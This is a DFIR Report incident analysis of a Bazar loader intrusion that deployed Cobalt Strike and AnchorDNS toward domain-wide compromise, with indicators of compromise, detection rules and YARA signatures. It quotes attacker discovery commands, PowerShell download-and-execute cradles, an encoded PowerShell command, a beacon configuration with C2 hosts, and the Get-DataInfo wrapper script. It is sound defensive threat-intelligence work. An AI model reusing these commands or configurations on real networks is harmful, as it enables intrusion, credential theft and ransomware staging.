Bazar Drops the Anchor

thedfirreport.com/2021/03/08/bazar-drops-the-anchor/

March 8, 2021

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Intro

The malware identified as <u>Anchor</u> first entered the scene in late 2018 and has been linked to the same group as Trickbot, due to similarities in code and usage of the two different malware families in the same intrusions. In 2020 the <u>Bazar</u> malware family entered and again many associated it with the same group behind Trickbot.

In an intrusion this past month we saw another link between the 3 families with a Bazar loader bringing in Anchor DNS to facilitate a full domain compromise intrusion. Over a 5 day time frame the threat actors moved from a single endpoint to full domain compromise, and while ransomware deployment was not seen in this intrusion the TTP's used mirror what we would expect from a big game ransomware crew.

Case Summary

In this case we started with a DocuSign themed Excel maldoc. The excel file failed to bring down the payload but to follow the infection chain we executed the follow on loader. Once Bazar was established the malware quickly injected into the Werfault process to avoid detection. As seen in many intrusions the malware then performed some initial discovery with built-in Microsoft utilities such as NItest.


About an hour after initial execution, a Cobalt Strike beacon was loaded, followed shortly by Anchor. Shortly after Cobalt Strike and Anchor were running, the attackers dumped credentials and began moving laterally, starting with a domain controller.


Once on the domain controller, the threat actors ran additional discovery but then went quiet. Active command and control was maintained by all three malware samples (Bazar, Cobalt Strike, Anchor DNS) over the next 4 days.

During that timeframe, honey documents were interacted with and additional discovery scans were executed. The threat actors were briefly active on day 3 to execute their Get-DataInfo script to collect additional information, which is usually followed closely by Ryuk ransomware.

However, on the fifth day the threat actors access was cut off before final objectives could be accomplished. We assess that the end goal of this intrusion was to execute domain wide ransomware.

Timeline





MITRE ATT&CK

Initial Access

A DocuSign themed Excel xls was opened and macros were enabled. Thanks to <u>@ffforward</u> for the document as well as the sandbox run leading up to the xls file.

New <u>#BazarCall</u> <u>#BazarLoader</u> campaigns. snutrition,net > snutrition,us obpharmacy,net > obpharmacy,us XLS <u>https://t.co/rNLgIHadGV</u> EXE <u>https://t.co/D28MoDqSLD</u> IOCs: <u>https://t.co/mc56wgU8EW pic.twitter.com/GillKY4tT0</u> — TheAnalyst (@ffforward) <u>February 8, 2021</u>

The macro in this maldoc is using Excel 4 Macros.

FILE: request_form_1612805504.xls Type: OLE						
VBA MACRO xlm_macro.txt in file: xlm_macro - OLE stream: 'xlm_macro'						
+ Туре	Keyword	Description				
AutoExec Suspicious Suspicious	Auto_Open CALL Hex Strings	Runs when the Excel Workbook is opened May call a DLL using Excel 4 Macros (XLM/XLF) Hex-encoded strings were detected, may be used to obfuscate strings (optiondecode to see all)				

DocuSign was again the social engineering format of choice.

SECURITY WARNING Macros have been	disabled. Enable Content
F1 • : × ✓ fx	
A B C D	E F G H I J K L M N O P Q R S
1	
2 3	Document
4	DocuSign
5	
6	
7	THIS STEPS ARE REQUIRED TO FULLY DECRYPT THE DOCUMENT,
8	ENCRYPTED BY DOCUSIGN.
9 10	ENORT TED BY DOUGION.
11	Click on "Enclose adding" to unlock the adding downwork downloaded from the interact.
12	Click on "Enable editing" to unlock the editing document downloaded from the internet.
13	Protected View This file originated from an Internet location and might be unsafe. Click for more details. Enable Editing
14	
15	
16	Click on "Enable content" to perform Microsoft Word Decouption Core to start
17 18	2 Click on "Enable content" to perform Microsoft Word Decryption Core to start
19	the decryption of the document.
20	Security Warning Macros have been disabled. Enable Content
21	Security Warning Macros have been disabled. Enable Content
22	
23	
24	

After execution, Excel called out to:

https://morrislibraryconsulting[.]com/favicam/gertnm.php

Event info	^
Event	EXCEL.EXE established connection with 66.235.200.145:443 (morrislibraryconsulting.com)
Event time	Feb 8, 2021, 2:45:56.184 PM
Action type	ConnectionSuccess
User	
Device	
	🖽 Go to device timeline
Entities	

Execution

We saw no further follow on activity from the above execution, potentiality due to the loader site being offline or some other condition not being met. We then executed the follow on malware manually.


Bazar Loader – <u>14wfa5dfs.exe</u>

About an hour after execution of the above Bazar Loader, Cobalt Strike was executed by the injected Werfault process.

eventdata.image	C:\\Windows\\SYSTEM32\\werfault.exe						
eventdata.processGuid	{fe9e91f4-9639-6021-c306	-00000003000}					
eventdata.processId	6508						
eventdata.targetFilename	C:\\Users\\I	\AppData\\Local\\Temp\\~tmp01925d3f.exe					
eventdata.utcTime							
system.channel	Microsoft-Windows-Sysmor	/Operational					
system.computer							
system.eventID	11						

✓ *Process Create:
RuleName: technique_id=T1036,technique_name=Masquerading
UtcTime:
ProcessGuid: {fe9e91f4-a874-6021-8508-00000000003000}
ProcessId: 3500
Image: C:\Users' \AppData\Local\Temp\~tmp01925d3f.exe
FileVersion: -
Description: -
Product: -
Company: -
OriginalFileName: -
CommandLine: C:\Users\ \AppData\Local\Temp\~tmp01925d3f.exe
CurrentDirectory: C:\Users' \Downloads\
User:
LogonGuid: {fe9e91f4-93b3-6021-73fb-930000000000}
LogonId: 0x93FB73
TerminalSessionId: 1
IntegrityLevel: High
Hashes: SHA1=61D8F56452FD9DF5952FAC84F10EA8520ED5958C,MD5=EF7047A0CA52EF7F4D20281B50207F71,SHA256=10FF83629D727DF428AF1F57C524E1EADDEEFD608C5A317A5BFC13E2DF87FB63,IMPHASH=1B1B73382580C4BE6FA24E8297E1849
D
ParentProcessGuid: {fe9e91f4-9639-6021-c306-00000000000000}
ParentProcessId: 6508
ParentImage: C:\Windows\System32\WerFault.exe
ParentCommandLine: werfault.exe"

Shortly after Cobalt Strike was executed, it dropped several Anchor executable files.




AnchorDns was then executed via Cobalt Strike which called cmd and then anchorAsjuster. Notice Asjuster passing two domains to anchor_x64.exe which will be used for C2.


```
C:\Windows\system32\cmd.exe /C C:\Windows\Temp\adf\anchorAsjuster_x64.exe --
source=anchorDNS_x64.exe --target=anchor_x64.exe --
domain=xyskencevli.com,sluaknbsoe.com --period=2 --lasthope=2 -guid
```

Defense Evasion


Bazar quickly moved into a Werfault process to handle command and control communication avoiding making any network connections directly.



Process injection was also seen in other key system executables such as winlogon.exe.



Cobalt Strike was seen locking access to SMB beacons.



Anchor was also seen triggering process tampering.

```
"Process Tampering:
RuleName: -
UtcTime:
ProcessGuid: {fe9e91f4-adf7-6021-fe08-00000000300
0}
ProcessId: 7244
Image: C:\Windows\Temp\adf\anchor_x64.exe
Type: Image is replaced"
```

Credential Access

The threat actors were seen using remote thread creation to inject into Isass to extract credentials.

```
"CreateRemoteThread detected:
RuleName: -
UtcTime:
SourceProcessGuid: {f697f253-aac0-6021-9707-00000000170
0}
SourceProcessId: 6540
SourceImage: C:\Windows\System32\dllhost.exe
TargetProcessGuid: {f697f253-f58c-6020-0c00-00000000170
0}
TargetProcessId: 608
TargetImage: C:\Windows\System32\lsass.exe
NewThreadId: 1448
StartAddress: 0x000001F4F6100000
StartModule: -
StartFunction: -"
```

The same activity as seen via a the larger process tree.

WerF	ault.exe 🗸		
<u>ش</u> ~	tmp01925d3f.exe 🗸		
L	ූ dllhost.exe 🔨		
	Process name	dllhost.exe	
	Execution time		
	Path	C:\Windows\System32	
	Process ID	4584	
	Command line	dllhost.exe	D
	File name	dllhost.exe	
	Full path	C:\Windows\System32	
	SHA1	30a89e38caf7a4c9aa7d7047c366df215c	D
	Signer	D Microsoft Windows	
	lssuer	Microsoft Windows Production PCA 2011	

```
opened process handle of
```

👸 Isass.exe 🔨

Disc<u>overy</u>

Bazar initiated some discovery activity within 10 minutes of executing.

```
net view /all
net view /all /domain
nltest.exe /domain_trusts /all_trusts
net localgroup "administrator"
net group "domain admins" /domain
systeminfo
whoami
reg query hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName"
/s
reg query hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v
"DisplayName" /s
reg query hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName"
/s
reg query hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v
"DisplayName" /s
reg query hkcu\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v
"DisplayName" /s
```

Cobalt Strike initiated the following discovery commands:

```
net group \"enterprise admins\" /domain
net group \"domain admins\" /domain
systeminfo
```

On the domain controller the following discovery was run:

nltest /dclist:"DOMAIN.EXAMPLE
nltest /domain_trusts /all_trusts
IEX (New-Object Net.Webclient).DownloadString('"http://127.0.0.1:3672/'); GetNetSubnet
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:45082/'); GetNetComputer -ping

The following PowerShell command was executed from the domain controller.

powershell -nop -exec bypass -EncodedCommand SQEFAFgATAAAAE4AZQB3AC0ATWB3AGoAZQB3AH0ATAB0AGUAdAAUAFCAZQB3AGMAbABDAGUAbgBAGUALgBEAGBAdWBUAGWAbWBhAGQAUWBBAHTAaQQUAGCAKAAnAGgAdAB0AHAAQgAvACBAMQAyADCA LgAwAC4AMAAUADEAOgAxADMAWx3ADMALwAnACkAOwAgAEkAbQBwAGBACGBTQBvAGQAdQB3AGUAIABBAGMAdABDAHYAZQBEAGkAcgBlAGMADABVAHIAeQA7ACAARwBIAHQALQBBAEQAQwBvAGGAcABTAHQAZQBYACAALQBGAGKAbABBAGUAcgAgAHSAZQBU GeX'ygB3AGUAZAAgACb#ZQBKACAAJABBAHTAAdgBIAH0AIASHAHAAcgBvAHQAZQBYAHQAIQBIAHMAIAAqAHwacwBlAGwAZQBJAHQAIBBAEAAIWBIAGBACBATAGDALAAgAEkAUAB2ADQAQQBKAGQAcgBIAHMAZAAICQBYAHQAIQBIAHMAIAAqAHwacwBlAGWAZQBJAHAZQBUAGGALW B5AHMAdABIAGBALAAgAEwaYQBZAHQATABVAGCAbwBUAEQAYQBBAGUA

Decoded:

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:13773/'); Import-Module ActiveDirectory; Get-ADComputer -Filter {enabled -eq \$true} -properties *|select DNSHostName, IPv4Address, OperatingSystem, LastLogonDate

Systems were pinged from the domain controller to confirm connectivity.

C:\Windows\system32\cmd.exe /C ping HOSTX

Four days into the intrusion the threat actors dropped and executed Advanced_IP_Scanner_2.5.3850.exe which kicked off a scan of the network.

AWS was used to get the public IP of the infected machine, multiple times.

🔅 services.exe 🗸

💮 svchost.exe 🗸

🎰 🛞 anchor_x64.exe 🔨


	anchoi_x04.exe		
	Process name	anchor_x64.exe	
	Execution time		
	Path	c:\windows\temp\adf\anchor_x64.exe	
	Integrity level	System	
	Access privileges (UAC)	Standard	
	Process ID	7416	
	Command line	anchor_x64.exe -u	D
:			
	File name	anchor_x64.exe	
	File name Full path	anchor_x64.exe c:\windows\temp\adf\anchor_x64.exe	
			D
	Full path	c:\windows\temp\adf\anchor_x64.exe	0
	Full path SHA1	c:\windows\temp\adf\anchor_x64.exe	_

successfully established connection with

⊕	3.222.126.94:80 (checkip.amazonaws.com) 🔨							
	IP address	3.222.126.94						
	Url	checkip.amazonaws.com						
	Port	80						
	Protocol	Тср						

checkip.amazonaws.com

Minutes before deployment of Ryuk the threat actors usually drop the following files, usually on a domain controller. This time they dropped the files on a domain controller in C:\info



The exact files were mentioned in our <u>Bazar, No Ryuk</u> report.

commandLine	<pre>powershell.exe -executionpolicy remotesigned -File .\\Get-DataInfo.ps1 method</pre>
company	Microsoft Corporation
currentDirectory	C:\\info\\
description	Windows PowerShell
fileVersion	
hashes	SHA1=6CBCE4A295C163791B60FC23D285E6D84F28EE4C,MD5=7353F60B1739074EB17C5F4DDDEFE AB32C,IMPHASH=741776AACCFC5B71FF59832DCDCACE0F
image	C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
integrityLevel	High
logonGuid	{0707d8ae-6ea9-6024-b369-a90100000000}
logonId	0x1a969b3
originalFileName	PowerShell.EXE
parentCommandLine	C:\\Windows\\system32\\cmd.exe /c \"\"C:\\info\\start.bat\" \"

start.bat was executed with the following:


C:\Windows\system32\cmd.exe /c ""C:\info\start.bat""

This script contents show it to be a wrapper for the PowerShell script Get-DataInfo.ps1

```
@echo off
pushd %~dp0
powershell.exe Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force
IF "%1"=="" (
    color 70
    echo "Please select a type of info collected:"
    echo "all ping disk soft noping nocompress"
    set /p method="Press Enter for collect [all]: "
    color 07
    cls
    @echo on
    powershell.exe -executionpolicy remotesigned -File .\Get-DataInfo.ps1 %method
    )
    IF NOT "%1"="" (
    @echo on
    powershell.exe -executionpolicy remotesigned -File .\Get-DataInfo.ps1 %method
    )
```

The contents of Get-DataInfo.ps1 show a detailed information collector to provide the threat actor with very specific details of the environment. This includes things like disk size, connectivity, antivirus software, and backup software. The Ryuk group has used this script

for at least a year as we've seen them use it multiple times.




This script and files are available @ https://thedfirreport.com/services/

Lateral Movement

Two hours post initial access the threat actors began lateral movement to one of the domain controllers using PowerShell, which was executed via a remote service, which launched Cobalt Strike



Reviewing the PowerShell script we can extract the shellcode and run it through scdbg to find the pipe used by the beacon.



Thanks to Oxtornado and Omatthe matter for this recipe!

The threat actors also used SMB beacons executed by remote services as well. We saw this across most machines in the domain.

"File created: RuleName: -UtcTime: ProcessGuid: {f697f253-f585-6020-0100-00000000170 0} ProcessId: 4 Image: System TargetFilename: C:\Windows\1b2ac4d.exe CreationUtcTime: "Registry value set: RuleName: -EventType: SetValue UtcTime: ProcessGuid: {f697f253-f58c-6020-0b00-000000001700} ProcessId: 584 Image: C:\Windows\system32\services.exe TargetObject: HKLM\System\CurrentControlSet\Services\1b2ac4d\ImagePat

The threat actors also used RDP to login to multiple machines within the domain.

Collection

h

We did not witness collection events but we do believe files were collected and exfiltrated over encrypted C2 channels.

Command and Control

Details: \\127.0.0.1\ADMIN\$\1b2ac4d.exe"

Bazar:

34.210.71[.]206

```
Certificate:[<u>ec:c8:db:01:a4:a3:17:36:54:a2:f5:06:44:84:5c:f6:25:6e:4f:74</u>]
Not Before: 2021/02/04 02:59:01
Not After2022/02/04 02:59:01
Issuer Org: Global Security
Subject Common: example.com
Subject Org: Global Security
Public Algorithm: rsaEncryption
JA3: 51c64c77e60f3980eea90869b68c58a8
JA3s: e35df3e00ca4ef31d42b34bebaa2f86e
Certificate: [06:32:21:0b:8b:a2:a7:3c:47:a4:33:53:11:a3:11:08:59:48:31:e2]
Not Before <u>2020/06/12 20:00:00</u>
Not After 2021/05/22 08:00:00
Issuer Org: Amazon
Subject Common: <u>*.v.m2.uw2.app.chime.aws</u> [<u>*.v.m2.uw2.app.chime.aws</u> ]
Public Algorithm: rsaEncryption
JA3: fc54e0d16d9764783542f0146a98b300
JA3s:9e4af711131ebfb2a0cff53c4f2d64e6
```

We observed the Bazar malware inject into a WerFault process to perform ongoing command and control communication.

(iii) WerFault.exe established connection with 54.70.149.171:443	8	14wfa5dfs.exe > WerFault.exe > 54.70.149.171:443	ConnectionSuccess
(m) WerFault.exe established connection with 18.236.86.87:443	8	14wfa5dfs.exe > WerFault.exe > 18.236.86.87:443	ConnectionSuccess
(*) WerFault.exe established connection with 18.237.210.145:443	8	14wfa5dfs.exe > WerFault.exe > 18.237.210.145:443	ConnectionSuccess
(*) WerFault.exe established connection with 13.56.249.208/443	8	14wfa5dfs.exe > WerFault.exe > 13.56.249.208:443	ConnectionSuccess
(**) WerFault.exe established connection with 34.212.73.169/443	8	14wfa5dfs.exe > WerFault.exe > 34.212.73.169:443	ConnectionSuccess
(**) WerFault.exe established connection with 50.18.148.152:443	8	14wfa5dfs.exe > WerFault.exe > 50.18.148.152:443	ConnectionSuccess
(**) WerFault.exe established connection with 13.56.58.201:443	8	14wfa5dfs.exe > WerFault.exe > 13.56.58.201:443	ConnectionSuccess

Src IP / Country	Src Port	Dst IP / Country	🗘 Dst Port	Packets	Databytes /	≑ Arkime Node	Info
					Bytes	Node	
	54230		53	4	144 312		Host - ceeijkdegijn.bazar
	51782	35.211.96.150	53		36 78		Host - ceeijkdegijn.bazar
	51781		53	4	160 328		Host - wpad.rjfinancial.local
	57371	87.98.175.85	53	1	36 78		Host - ceeijkdegijn.bazar
	57369	94.16.114.254	53	2	72 156		Host - ceeijkdegijn.bazar
	57370	95.217.190.236	53	1	36 78		Host - ceeijkdegijn.bazar
	57367		53	2	147 231		Host - ceeiimdegiip.bazar
	57368	51.254.25.115	53	1	36 78		Host - ceeijkdegijn.bazar
	60716	35.211.96.150	53		36 78		Host - ceeiimdegiip.bazar
	60715	87.98.175.85	53	1	36 78		Host - ceeiimdegiip.bazar
	60714	95.217.190.236	53		36 78		Host - ceeiimdegiip.bazar
	60713	94.16.114.254	53	2	72 156		Host - ceeiimdegiip.bazar
	60712	51.254.25.115	53		36 78		Host - ceeiimdegiip.bazar
	60711		53	2	147 231		Host - ceeiildegiio.bazar
	60937	35.211.96.150	53		36 78		Host - ceeiildegiio.bazar
	60936	87.98.175.85	53	1	36 78		Host - ceeiildegiio.bazar
	60935	95.217.190.236	53		36 78		Host - ceeiildegiio.bazar
	60934	94.16.114.254	53	2	72 156		Host - ceeiildegiio.bazar
	60932		53	2	147 231		Host - ceeiikdegiin.bazar
	60933	51.254.25.115	53	1	36 78		Host - ceeiildegiio.bazar
	52140	35.211.96.150	53		36 78		Host - ceeiikdegiin.bazar
	52139	87.98.175.85	53	1	36 78		Host - ceeiikdegiin.bazar
	52138	95.217.190.236	53	1	36 78		Host - ceeiikdegiin.bazar

Anchor:

The AnchorDNS malware performed C2 over DNS to the following domains:

xyskencevli.com
sluaknhbsoe.com

23fddddjdddy999dddhdddddpwdi.m5lyvc3j5mhgcvwjcgpzjqjvri.xyskencevli.com 23fddddpdddy999dddhdddddpwdi.m5lyvc3j5mhgcvwjcgpzjqjvri.xyskencevli.com 23fddddpddddy999dddhdddddpqsf.htm3zeojwvefsw6mpffhftgykb.xyskencevli.com 23fddddqdddy999dddhdddddl2bg.hvk3lvd4niazse2ukdac5b4ujk.xyskencevli.com 23fddddygdddy999dddhdddddpkmr.53k99x9j6mpcci22mprsbwn49i.xyskencevli.com 23fdddljgdddy999dddhdddddpkmr.53k99x9j6mpcci22mprsbwn49i.xyskencevli.com 23fdddlygdddy999dddhdddddpkmr.53k99x9j6mpcci22mprsbwn49i.xyskencevli.com 23fdddlygdddy999dddhdddddpkmr.som 23fdddlygdddy999dddhdddddps.com 23fdddlygdddy999dddhdddddps.com 23fdddlygdddy999dddhdddddps.com 23fdddqrgdddy999dddhddddddpkow.v2eqlsyyf3qxsn2inhy2zf3zhi.xyskencevli.com 23fdddsbgdddy999dddhdddddlbmh.nt9fgf6v6udcs4ez6vukdwkh6c.xyskencevli.com

Cobalt Strike:

195.123.217[.]45

JARM: 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1 Certificate: [3c:bb:96:de:a7:d7:7a:7d:61:10:7c:53:e3:d0:f5:70:43:54:61:2e] Not Before: 2021/02/08 03:45:51 Not After: 2021/05/09 04:45:51 Issuer Org: Let's Encrypt Subject Common: gloomix.com [gloomix.com ,www.gloomix.com] Public Algorithm: rsaEncryption

Cobalt Strike Config:

```
grab_beacon_config:
| x86 URI Response:
| BeaconType: 0 (HTTP)
| Port: 80
| Polling: 45000
| Jitter: 37
| Maxdns: 255
| C2 Server: 195.123.217.45,/jquery-3.3.1.min.js
| User Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
| HTTP Method Path 2: /jquery-3.3.2.min.js
| Header1:
| Header2:
| PipeName:
| DNS Idle: J}\xC4q
| DNS Sleep: 0
| Method1: GET
| Method2: POST
Spawnto_x86: %windir%\syswow64\dllhost.exe
Spawnto_x64: %windir%\sysnative\dllhost.exe
Proxy_AccessType: 2 (Use IE settings)
| x64 URI Response:
| BeaconType: 0 (HTTP)
| Port: 80
| Polling: 45000
| Jitter: 37
| Maxdns: 255
| C2 Server: 195.123.217.45,/jquery-3.3.1.min.js
| User Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
| HTTP Method Path 2: /jquery-3.3.2.min.js
| Header1:
| Header2:
| PipeName:
| DNS Idle: J}\xC4q
| DNS Sleep: 0
| Method1: GET
| Method2: POST
Spawnto_x86: %windir%\syswow64\dllhost.exe
Spawnto_x64: %windir%\sysnative\dllhost.exe
| Proxy_AccessType: 2 (Use IE settings)
|_
443/tcp open https
| grab_beacon_config:
| x86 URI Response:
| BeaconType: 8 (HTTPS)
| Port: 443
| Polling: 45000
| Jitter: 37
| Maxdns: 255
| C2 Server: gloomix.com,/jquery-3.3.1.min.js
| User Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
| HTTP Method Path 2: /jquery-3.3.2.min.js
| Header1:
| Header2:
```

| PipeName: | DNS Idle: J}\xC4q | DNS Sleep: 0 | Method1: GET | Method2: POST Spawnto_x86: %windir%\syswow64\dllhost.exe Spawnto_x64: %windir%\sysnative\dllhost.exe | Proxy_AccessType: 2 (Use IE settings) | x64 URI Response: | BeaconType: 8 (HTTPS) | Port: 443 | Polling: 45000 | Jitter: 37 | Maxdns: 255 | C2 Server: gloomix.com,/jquery-3.3.1.min.js | User Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko | HTTP Method Path 2: /jquery-3.3.2.min.js | Header1: | Header2: | PipeName: | DNS Idle: J}\xC4q | DNS Sleep: 0 | Method1: GET | Method2: POST Spawnto_x86: %windir%\syswow64\dllhost.exe Spawnto_x64: %windir%\sysnative\dllhost.exe | Proxy_AccessType: 2 (Use IE settings) |_

~tmp01925d3f.exe can be seen communicating with the Cobalt Strike C2 channel.

destinationIp	195.123.217.45					
destinationIsIpv6	false					
destinationPort	443					
image	C:\\Users\\ \\AppData\\Local\\Temp\\~tmp01925d3f.exe					
initiated	true					
processGuid	{fe9e91f4-a874-6021-8508-000000003000}					
processId	3500					
protocol	tcp					

Exfiltration

No exfiltration was observed but honey docs were taken off network and opened by the threat actors from remote locations. We assess that this exfiltration was performed over an encrypted C2 channel. This exfiltration has been going on for months and is rarely talked about when it comes to Wizard Spider.

Impact

We believe this intrusion would have ended with domain wide ransomware. The deployment of the Get-DataInfo.ps1 script and overall TTP's used in the intrustion are consistent with threat actors associated with deployments of the Ryuk ransomware family.

Enjoy our report? Please consider donating \$1 or more using <u>Patreon</u>. Thank you for your support!

We also have pcaps, memory captures, scripts, executables, and Kape packages available <u>here</u>

IOCs

If you would like access to our internal MISP and/or threat feeds please see here.

Date 1	î Org	Category	Туре	Value	Tags	Galaxies	Comment	Correlate	Related Events
2021		Network activity	ip-dst	195.123.217.45	 kill-chain:Command and Control x Cobalt Strike x + + 	⊗ + ≗ +	Cobalt Strike C2	2	
2021		Network activity	domain	gloomix.com	 kill-chain:Command and Control x Cobalt Strike x + + 	⊗ + ≗ +	Cobalt Strike C2		
2021		Network activity	domain	xyskencevli.com	kill-chain:Command and Control x	⊗ + ≗ +	AnchorDNS C2		
2021		Network activity	domain	sluaknhbsoe.com	 kill-chain:Command and Control x + + 	⊗ + ≗ +	AnchorDNS C2		
2021		Network activity	uri	https://morrislibraryconsulting.com/favicam/gertnm.php	🗞 kill-chain:Delivery X 🚱 + 💄 +	⊗ + ≗ +			
2021		Network activity	ip-dst	34.210.71.206	kill-chain:Command and Control x	⊗ + ≗ +	Bazar		
2021		Network activity	ip-dst	63.251.235.71	kill-chain:Command and Control x	⊗ + ≗ +	Bazar		
2021		Network activity	ip-dst	208.100.26.238	kill-chain:Command and Control x	⊗ + ≗ +	Bazar		541
2021		Network activity	ip-dst	54.241.149.90	kill-chain:Command and Control x	⊗ + ≗ +	Bazar		
2021		Network activity	ip-dst	54.193.234.163	kill-chain:Command and Control x	⊗ + ≗ +	Bazar		
2021		Network activity	ip-dst	54.176.158.165	kill-chain:Command and Control x	⊗ + ≗ +	Bazar		
2021		Object name: file References: 0 +							
2021		Artifacts dropped	filename: filename	extracted-cobalt-strike-beacon.exe		⊗ + ≗ +			
2021		Artifacts dropped	md5: md5	49dc44dfa14a76e139bf5efb4a78aca6		⊗ + ≗ +			
2021		Artifacts dropped	sha1: sha1	a47fc79bc1f0da5d292a986acdbe9057d3dd15c9	(♣) + ▲ +	⊗ + ≗ +			
2021		Artifacts dropped	sha256: sha256	738018c61a8db247615c9a3290c26fbbc4e230d5fbe00c4312401b90813c3 40c		⊗+ ≗+		2	

Network

54.176.158.165 54.193.234.163 54.241.149.90 208.100.26.238 63.251.235.71 34.210.71.206 195.123.217.45 gloomix.com https://morrislibraryconsulting.com/favicam/gertnm.php xyskencevli.com sluaknhbsoe.com

File

request_form_1612805504.xls 58eaac6124749d0e93df6d05a4380c22 7e14c560484cb7e8ae065224a7d4978b9939ef9a d9b13ef49c80375e0a8cf20b840b1e8283b35c1a1a6adcbb4173eb25490530e0 ~tmp01925d3f.exe ef7047a0ca52ef7f4d20281b50207f71 61d8f56452fd9df5952fac84f10ea8520ed5958c 10ff83629d727df428af1f57c524e1eaddeefd608c5a317a5bfc13e2df87fb63 anchorAsjuster_x64.exe 9fbc3d560d075f33a15aa67ae74ac6ef a298c6f5f8902fb581a1b5b922f95b362747f9a7 3ab8a1ee10bd1b720e1c8a8795e78cdc09fec73a6bb91526c0ccd2dc2cfbc28d anchorDNS x64.exe 7160ac4abb26f0ca4c1b6dfba44f8d36 3820ff0d04a233745c79932b77eccfe743a81d34 9fdbd76141ec43b6867f091a2dca503edb2a85e4b98a4500611f5fe484109513 anchor_x64.exe 0be407690fd049ea640dfc64a80c7b2a c9c4ef9b8b39c584d554de8afeb2be6f5648aa6d ca72600f50c76029b6fb71f65423afc44e4e2d93257c3f95fb994adc602f3e1b 14wfa5dfs.exe 9a16a348d3f4e7da3e8746667624115f bebdec590d2a2fffaecb970b73e3067294c9125b 2065157b834e1116abdd5d67167c77c6348361e04a8085aa382909500f1bbe69 extracted-cobalt-strike-beacon.exe 49dc44dfa14a76e139bf5efb4a78aca6 a47fc79bc1f0da5d292a986acdbe9057d3dd15c9 738018c61a8db247615c9a3290c26fbbc4e230d5fbe00c4312401b90813c340c

PDB paths

anchordns_x64.exe - z:\d\git\anchordns.llvm\bin\x64\release\anchordns_x64.pdb anchor_x64.exe - z:\d\git\anchordns.llvm\bin\x64\release\anchordns_x64.pdb ~tmp01925d3f.exe - c:\users\hillary\source\repos\gromyko\release\gromyko.pdb

Accessed Honey Docs

IP: 23.94.51[.]80
UA: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0;
MSOffice 12)

Detections

Network

ET INFO Observed DNS Query for EmerDNS TLD (.bazar) ETPRO POLICY External IP Check (checkip.amazonaws.com) ETPRO TROJAN Win32/TrickBot Anchor Variant Style External IP Check ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection ET SCAN Behavioral Unusual Port 139 traffic Potential Scan or Infection ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC) ETPRO POLICY Possibly Suspicious example.com SSL Cert ET POLICY OpenSSL Demo CA - Internet Widgits Pty (0)

Sigma

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_p owershell_enc_cmd.yml

https://github.com/Neo23x0/sigma/blob/084cd39505861188d9d8f2d5c0f2835e4f750a3f/rules /windows/process_creation/win_malware_trickbot_recon_activity.yml

https://github.com/Neo23x0/sigma/blob/master/rules/windows/process_creation/win_susp_commands_recon_activity.yml

https://github.com/Neo23x0/sigma/blob/c56cd2dfff6343f3694ef4fd606a305415599737/rules/ network/net_dns_c2_detection.yml

Yara

```
/*
YARA Rule Set
Author: The DFIR Report
Date: 2021-02-22
Identifier: 1017 Anchoring Bazar
Reference: https://thedfirreport.com
*/
/* Rule Set ------ */
import "pe"
rule bazar_14wfa5dfs {
meta:
description = "files - file 14wfa5dfs.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-02-22"
hash1 = "2065157b834e1116abdd5d67167c77c6348361e04a8085aa382909500f1bbe69"
strinas:
$s1 =
ascii /* base64 encoded string '' */
s_{2} =
ascii /* base64 encoded string '' */
$s3 = "AppPolicyGetProcessTerminationMethod" fullword ascii
$s4 = "0??dfg.dll ASHI128 bit 98tgewC58752F9578" fullword ascii
$s5 = "*http://crl4.digicert.com/assured-cs-g1.crl0L" fullword ascii
$s6 = "*http://crl3.digicert.com/assured-cs-g1.crl00" fullword ascii
$s7 = "/http://crl4.digicert.com/sha2-assured-cs-g1.crl0L" fullword ascii
$s8 = "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={F61A86A8-0045-3726-D207-
E8A923987AD2}&lang=ru&browser=4&usagestats=1&appname" ascii
$s9 = "operator co_await" fullword ascii
$s10 = "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={F61A86A8-0045-3726-D207-
E8A923987AD2}&lang=ru&browser=4&usagestats=1&appname" ascii
$s11 = "api-ms-win-appmodel-runtime-l1-1-2" fullword wide
$s12 = "Google LLC1" fullword ascii
$s13 = "Google LLCO" fullword ascii
$s14 = "Unknown issuer0" fullword ascii
$s15 = "DigiCert, Inc.1$0\"" fullword ascii
$s16 = "=Google%20Chrome&needsadmin=prefers&ap=x64-stable-
statsdef_1&installdataindex=empty" fullword ascii
$s17 = "TIMESTAMP-SHA256-2019-10-150" fullword ascii
$s18 = "vggwgrwgr7d6" fullword ascii
$s19 = "api-ms-win-core-file-l1-2-2" fullword wide /* Goodware String - occured 1
times */
$s20 = "___swift_2" fullword ascii
condition:
uint16(0) == 0x5a4d and filesize < 3000KB and
( pe.imphash() == "d8af53b239700b702d462c81a96d396c" or 8 of them )
}
```

```
rule cobalt_strike_tmp01925d3f {
meta:
description = "files - file ~tmp01925d3f.exe"
author = "The DFIR Report"
reference = "https://thedfirreport.com"
date = "2021-02-22"
hash1 = "10ff83629d727df428af1f57c524e1eaddeefd608c5a317a5bfc13e2df87fb63"
strings:
